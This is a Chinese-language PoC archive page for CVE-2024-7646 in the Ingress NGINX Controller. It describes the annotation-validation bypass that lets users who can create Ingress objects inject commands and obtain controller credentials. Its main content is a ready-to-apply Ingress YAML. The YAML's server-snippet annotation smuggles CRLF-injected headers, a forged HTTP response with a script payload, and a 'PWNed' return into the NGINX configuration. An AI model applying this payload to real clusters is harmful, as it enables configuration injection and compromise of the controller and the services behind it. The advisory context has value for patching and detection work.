关联漏洞
标题：
Ingress NGINX Controller 安全漏洞
(CVE-2024-7646)
描述：Ingress NGINX Controller是Kubernetes开源的一个 Kubernetes 的入口控制器。 Ingress NGINX Controller 1.11.2之前版本存在安全漏洞，该漏洞源于有创建Ingress对象权限的参与者可绕过注释验证来注入任意命令，从而获取ingress-nginx controller的凭据。
描述
PoC CVE-2024-7646
介绍
# CVE-2024-7646
PoC CVE-2024-7646
```yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: example-ingress
annotations:
nginx.ingress.kubernetes.io/server-snippet: |
add_header X-Pwn-Header "Pwn\r\n
HTTP/1.1 200 OK
Content-Type: text/html
<script>alert('XSS');</script>
--------";
return 200 "PWNed";
spec:
rules:
- http:
paths:
- pathType: Prefix
path: /
backend:
service:
name: test-service
port:
number: 8080
```
文件快照
[4.0K] /data/pocs/3c3abea4894ef786556decb1d0980866a0f8c781
└── [ 586] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。